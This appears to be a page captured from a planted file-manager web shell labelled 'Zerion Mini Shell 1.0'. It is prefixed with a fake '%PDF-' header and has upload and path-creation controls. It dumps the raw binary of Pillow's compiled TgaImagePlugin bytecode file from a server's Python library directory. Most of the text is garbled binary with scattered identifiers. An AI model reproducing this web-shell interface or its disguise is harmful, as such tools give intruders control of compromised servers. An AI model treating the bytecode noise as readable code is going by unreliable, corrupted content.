%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/PIL/__pycache__/TgaImagePlugin.cpython-312.pyc

�

��e����ddlmZddlZddlmZmZmZddlmZ	ddlm
Z
ddlmZdd	d
ddd
dd�Z
Gd�dej
�Zddddddd�Zd�Zej"ej$e�ej&ej$e�ej(ej$gd��ej*ej$d�y)�)�annotationsN�)�Image�	ImageFile�ImagePalette)�i16le)�o8)�o16le�P�1�L�LAzBGR;5�BGR�BGRA))r�)�r)rr)r�)�r)r�)r� c� �eZdZdZdZd�Zd�Zy)�TgaImageFile�TGA�Targac��|jjd�}|d}|d}|d}|d}|d}t|d�t|d�f|_|d	vs(|jddks|jddks|d
vr
d}t|��|dvr!d
|_|dk(rd|_n>|dk(r9d|_n1|dvrd|_n%|dvrd|_|dk(rd|_n
d}t|��|dz}|dv|_|dvrd}n|dvrd}n
d}t|��||jd<|dzrd|jd <|r(|jj|�|jd!<|r�t|d"�t|d#�|d$}}
}	|dk(r>tjd%d&|	z|jjd|
z�z�|_n�|d'k(r>tjd(d)|	z|jjd"|
z�z�|_nB|dk(r=tjd*d+|	z|jjd,|
z�z�|_	t|d$z|f}|dzr5dd-|jz|jj�|||ffg|_yd.d-|jz|jj�|d|ffg|_y#t$rYywxYw)/N�rrrr���)rr)rrrrrznot a TGA file)r�r
rr)r�	r)r�
�RGBr�RGBAzunknown TGA mode�0)rr%)rr%)rr���zunknown TGA orientation�orientationr�tga_rle�compression�
id_sectionr��zBGR;15srrsrs��rr�raw)�fp�read�i16�_size�size�SyntaxError�_mode�_flip_horizontally�inforr/�palette�MODES�tell�tile�KeyError)
�self�s�id_len�colormaptype�	imagetype�depth�flags�msgr'�startr4�mapdepth�rawmodes
             �4/usr/lib/python3/dist-packages/PIL/TgaImagePlugin.py�_openzTgaImageFile._open4s����G�G�L�L�����1�����t���a�D�	��"����"�����B�Z��Q���+��
�
��&��y�y��|�q� ��y�y��|�q� ��.�.�"�C��c�"�"�����D�J���z� ��
��"��!��
�
�&�
 ��D�J�
�'�
!��D�J���{�#��
�$�C��c�"�"��d�l��"-��"=����,�&��K�
�I�
%��K�+�C��c�"�"�#.��	�	�-� ��q�=�'0�D�I�I�m�$��&*�g�g�l�l�6�&:�D�I�I�l�#��$'��1�I�s�1�a�y�!�A�$��4�E��2�~�+�/�/��i�%�/�$�'�'�,�,�q�4�x�2H�H� ����R��+�/�/��9�u�,�t�w�w�|�|�A��H�/E�E� ����R��+�/�/��I��-������Q��X�0F�F� ���
	��Y��]�E�2�3�G��1�}�"�����*������� �+�u�5�	���	������*������� �!�[�1�	���	���	��	�s�?AJ<�4J<�<	K�Kc��|jr9|jjtjj
�|_yy)N)r7�im�	transposer�	Transpose�FLIP_LEFT_RIGHT)r>s rI�load_endzTgaImageFile.load_end�s0���"�"��g�g�'�'����(G�(G�H�D�G�#�N)�__name__�
__module__�__qualname__�format�format_descriptionrJrP�rQrIrr0s��
�F� ��d�LIrQr)rrrr)r
rrr)rrrr)rrrr)rrrr)rrrr)rr
rrr#r$c
��	t|j\}}}}d|jvr|jd}	n:|jjd|jjd��}
|
dk(}	|	r|dz
}|jjd|jjdd��}t|�}|d	kDrd	}|dd	}tjd
�|r-|jjdd�}
t|
�d
zd}}nd\}}|jdvrd}nd}|jjd|jjdd��}|dkDr|dz}|jt|�t|�zt|�ztd�zt|�zt|�ztd�ztd�zt|jd�zt|jd�zt|�zt|�z�|r|j|�|r|j
�|	r,t!j"||dd|jzd||ffg�n,t!j"||dd|jzd|d|ffg�|jd�y#t$r!}d|j�d�}t|�|�d}~wwxYw)Nzcannot write mode z as TGA�rler)r(rr*��z-id_section has been trimmed to 255 charactersr#rrrr.)rr$rr'r&rrr/sTRUEVISION-XFILE.)�SAVE�moder=�OSError�encoderinfo�getr8�len�warnings�warnrL�
getpalette�writer	�o16r4r�_save)rLr0�filenamerH�bitsrArB�erErYr)r*r@r9�colormaplength�
colormapentryrDr's                  rIrgrg�s���"�15�b�g�g��.���|�Y�

������n�n�U�#���n�n�(�(�������M�8R�S���Y�&��
��Q��	����#�#�L�"�'�'�+�+�l�B�2O�P�J�
��_�F�
��|������%�
��
�
�E�F���%�%�"�"�5�%�0��(+�G���(9�2�
��(,�%��
�	�w�w�.� ������.�.�$�$�]�B�G�G�K�K�
�r�4R�S�K��Q�������H�H�
�6�
�
�\�
�	�
�Y�-�	��a�&�	��n�
�		�

�]�
�	��a�&�
	��a�&�	��b�g�g�a�j�/�	��b�g�g�a�j�/�		�
�T�(�
	�
�U�)�	�
��
������
�����
������i��"�'�'�!1�1�w��6L�M�N�	
�	�����e�V�b�g�g�-�q�7�A�{�2K�L�M�	
�
�H�H�
9�:��C�"�"�2�7�7�)�7�3���c�l��!��"�s�J,�,	K�5K�K)z.tgaz.icbz.vdaz.vstzimage/x-tga)�
__future__rrbrZrrr�_binaryrr2r	r
rfr:rr\rg�
register_openrU�
register_save�register_extensions�
register_mimerWrQrI�<module>rss���$#��,�,�!��!�
���
�
�
�
�		�� lI�9�&�&�lI�j
�	�
�	���
��D;�X����L�'�'��6�����L�'�'��/�����,�-�-�/O�P�����L�'�'��7rQ

Zerion Mini Shell 1.0